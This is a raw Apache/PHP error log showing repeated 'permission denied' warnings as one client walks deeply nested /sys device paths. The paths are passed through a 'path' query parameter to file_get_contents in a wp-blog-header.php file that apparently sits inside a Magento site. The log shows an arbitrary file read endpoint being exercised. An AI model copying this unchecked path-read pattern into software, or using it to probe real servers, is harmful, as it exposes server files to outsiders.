[Thu Mar 26 11:22:45.248005 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/drivers/ac
[Thu Mar 26 11:22:45.763573 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ac
[Thu Mar 26 11:22:47.888231 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:22:51.002206 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:22:52.572869 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:22:53.134027 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:bc
[Thu Mar 26 11:22:56.340502 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ee
[Thu Mar 26 11:23:02.251656 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/drivers/ec
[Thu Mar 26 11:23:03.322794 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:da
[Thu Mar 26 11:23:04.357917 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ac
[Thu Mar 26 11:23:07.547566 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:23:09.161620 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:23:10.266293 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:23:11.807454 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:ec
[Thu Mar 26 11:23:15.501246 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:23:16.049745 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/drivers/ac
[Thu Mar 26 11:23:16.494635 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/drivers/ac
[Thu Mar 26 11:23:18.689790 2026] [php:warn] [pid 3107074] [client 74.7.241.26:47976] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fa
[Thu Mar 26 11:23:24.822668 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:fe
[Thu Mar 26 11:23:26.407676 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/drivers/ec
[Thu Mar 26 11:23:35.661700 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:ee
[Thu Mar 26 11:23:36.797855 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:dc
[Thu Mar 26 11:23:43.213850 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:23:45.861299 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:dc
[Thu Mar 26 11:23:48.556379 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:23:49.611908 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:dc
[Thu Mar 26 11:23:50.720370 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/drivers/ec
[Thu Mar 26 11:23:55.532618 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ac
[Thu Mar 26 11:23:57.074436 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:23:57.634866 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:fa
[Thu Mar 26 11:23:58.766835 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:bc
[Thu Mar 26 11:24:01.886034 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/devices/device:dc
[Thu Mar 26 11:24:02.392928 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/ac
[Thu Mar 26 11:24:07.618607 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:24:14.573452 2026] [php:warn] [pid 3107086] [client 74.7.241.26:46500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:dc
[Thu Mar 26 11:24:17.358793 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers/ec
[Thu Mar 26 11:24:22.768276 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:24:23.793596 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc
[Thu Mar 26 11:24:24.966224 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/ec
[Thu Mar 26 11:24:25.994067 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ba
[Thu Mar 26 11:24:27.061622 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ae
[Thu Mar 26 11:24:32.807195 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:24:33.903047 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ec
[Thu Mar 26 11:24:34.419163 2026] [php:warn] [pid 3106381] [client 74.7.241.26:40872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
